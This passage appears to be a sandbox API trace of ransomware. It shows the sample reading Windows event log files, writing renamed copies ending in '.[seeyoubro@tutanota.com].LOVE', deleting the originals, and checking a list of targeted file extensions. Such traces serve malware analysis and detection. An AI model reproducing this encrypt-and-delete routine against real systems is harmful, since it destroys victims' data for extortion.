dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.713] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0207.713] CloseHandle (hObject=0x374) returned 1 [0207.714] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0207.714] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.714] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.714] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.714] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.714] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.714] GetLastError () returned 0x0 [0207.714] ReadFile (in: hFile=0x374, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.728] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.730] ReadFile (in: hFile=0x374, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.730] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x128, lpOverlapped=0x0) returned 1 [0207.730] SetEndOfFile (hFile=0x2f0) returned 1 [0207.731] CloseHandle (hObject=0x2f0) returned 1 [0207.732] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.732] SetEndOfFile (hFile=0x374) returned 1 [0207.733] CloseHandle (hObject=0x374) returned 1 [0207.733] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.733] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0208.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.237] lstrlenW (lpString=".doc") returned 4 [0208.237] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.237] lstrlenW (lpString=".docx") returned 5 [0208.237] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.237] lstrlenW (lpString=".pdf") returned 4 [0208.237] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.237] lstrlenW (lpString=".xls") returned 4 [0208.237] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.237] lstrlenW (lpString=".xlsx") returned 5 [0208.237] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.237] lstrlenW (lpString=".ppt") returned 4 [0208.237] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.237] lstrlenW (lpString=".zip") returned 4 [0208.237] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.237] lstrlenW (lpString=".rar") returned 4 [0208.237] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".bz2") returned 4 [0208.238] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".7z") returned 3 [0208.238] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.238] lstrlenW (lpString=".dbf") returned 4 [0208.238] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.238] lstrlenW (lpString=".1cd") returned 4 [0208.238] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.238] lstrlenW (lpString=".jpg") returned 4 [0208.238] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.238] lstrlenW (lpString=".doc") returned 4 [0208.238] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".docx") returned 5 [0208.238] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.238] lstrlenW (lpString=".pdf") returned 4 [0208.238] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".xls") returned 4 [0208.238] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".xlsx") returned 5 [0208.238] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.238] lstrlenW (lpString=".ppt") returned 4 [0208.238] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.238] lstrlenW (lpString=".zip") returned 4 [0208.238] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".rar") returned 4 [0208.238] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".bz2") returned 4 [0208.238] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.238] lstrlenW (lpString=".7z") returned 3 [0208.238] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.239] lstrlenW (lpString=".dbf") returned 4 [0208.239] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.239] lstrlenW (lpString=".1cd") returned 4 [0208.239] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0208.239] lstrlenW (lpString=".jpg") returned 4 [0208.239] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.239] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.239] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0208.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0208.239] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0208.239] CloseHandle (hObject=0x330) returned 1 [0208.239] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0208.239] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0208.240] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.240] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.240] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.240] GetLastError () returned 0x0 [0208.240] ReadFile (in: hFile=0x330, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.257] WriteFile (in: hFile=0x37c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.258] ReadFile (in: hFile=0x330, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.258] WriteFile (in: hFile=0x37c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x178, lpOverlapped=0x0) returned 1 [0208.258] SetEndOfFile (hFile=0x37c) returned 1 [0208.258] CloseHandle (hObject=0x37c) returned 1 [0208.260] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.260] SetEndOfFile (hFile=0x330) returned 1 [0208.261] CloseHandle (hObject=0x330) returned 1 [0208.261] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.262] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0208.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.262] lstrlenW (lpString=".doc") returned 4 [0208.262] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.262] lstrlenW (lpString=".docx") returned 5 [0208.262] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.262] lstrlenW (lpString=".pdf") returned 4 [0208.262] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.262] lstrlenW (lpString=".xls") returned 4 [0208.262] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.262] lstrlenW (lpString=".xlsx") returned 5 [0208.262] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.262] lstrlenW (lpString=".ppt") returned 4 [0208.262] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.262] lstrlenW (lpString=".zip") returned 4 [0208.262] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.262] lstrlenW (lpString=".rar") returned 4 [0208.262] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString=".bz2") returned 4 [0208.263] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString=".7z") returned 3 [0208.263] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.263] lstrlenW (lpString=".dbf") returned 4 [0208.263] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.263] lstrlenW (lpString=".1cd") returned 4 [0208.263] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.263] lstrlenW (lpString=".jpg") returned 4 [0208.263] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.263] lstrlenW (lpString=".doc") returned 4 [0208.263] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString=".docx") returned 5 [0208.263] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.263] lstrlenW (lpString=".pdf") returned 4 [0208.263] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString=".xls") returned 4 [0208.263] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString=".xlsx") returned 5 [0208.263] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.263] lstrlenW (lpString=".ppt") returned 4 [0208.263] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.263] lstrlenW (lpString=".zip") returned 4 [0208.264] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.264] lstrlenW (lpString=".rar") returned 4 [0208.264] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.264] lstrlenW (lpString=".bz2") returned 4 [0208.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.264] lstrlenW (lpString=".7z") returned 3 [0208.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.264] lstrlenW (lpString=".dbf") returned 4 [0208.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.264] lstrlenW (lpString=".1cd") returned 4 [0208.264] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0208.264] lstrlenW (lpString=".jpg") returned 4 [0208.264] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.264] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.264] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0208.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0208.266] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1052672) returned 1 [0208.266] CloseHandle (hObject=0x364) returned 1 [0208.266] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0208.266] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.266] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0208.266] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.266] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.266] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0208.267] GetLastError () returned 0x0 [0208.267] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0208.356] WriteFile (in: hFile=0x330, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0208.369] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x1010, lpOverlapped=0x0) returned 1 [0208.376] WriteFile (in: hFile=0x330, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x1020, lpOverlapped=0x0) returned 1 [0208.377] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.377] WriteFile (in: hFile=0x330, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x164, lpOverlapped=0x0) returned 1 [0208.377] SetEndOfFile (hFile=0x330) returned 1 [0208.378] CloseHandle (hObject=0x330) returned 1 [0208.961] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.961] SetEndOfFile (hFile=0x364) returned 1 [0208.966] CloseHandle (hObject=0x364) returned 1 [0208.966] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.967] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0208.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.967] lstrlenW (lpString=".doc") returned 4 [0208.967] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString=".docx") returned 5 [0208.967] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.967] lstrlenW (lpString=".pdf") returned 4 [0208.967] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString=".xls") returned 4 [0208.967] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString=".xlsx") returned 5 [0208.967] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.967] lstrlenW (lpString=".ppt") returned 4 [0208.967] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.967] lstrlenW (lpString=".zip") returned 4 [0208.967] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString=".rar") returned 4 [0208.967] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString=".bz2") returned 4 [0208.967] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.967] lstrlenW (lpString=".7z") returned 3 [0208.967] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.967] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".dbf") returned 4 [0208.968] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".1cd") returned 4 [0208.968] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".jpg") returned 4 [0208.968] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".doc") returned 4 [0208.968] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString=".docx") returned 5 [0208.968] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.968] lstrlenW (lpString=".pdf") returned 4 [0208.968] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString=".xls") returned 4 [0208.968] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString=".xlsx") returned 5 [0208.968] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.968] lstrlenW (lpString=".ppt") returned 4 [0208.968] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".zip") returned 4 [0208.968] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString=".rar") returned 4 [0208.968] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString=".bz2") returned 4 [0208.968] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString=".7z") returned 3 [0208.968] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".dbf") returned 4 [0208.968] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.968] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.968] lstrlenW (lpString=".1cd") returned 4 [0208.969] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0208.969] lstrlenW (lpString=".jpg") returned 4 [0208.969] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.969] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.969] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0208.969] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0208.969] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0208.969] CloseHandle (hObject=0x364) returned 1 [0208.969] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0208.969] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\windows 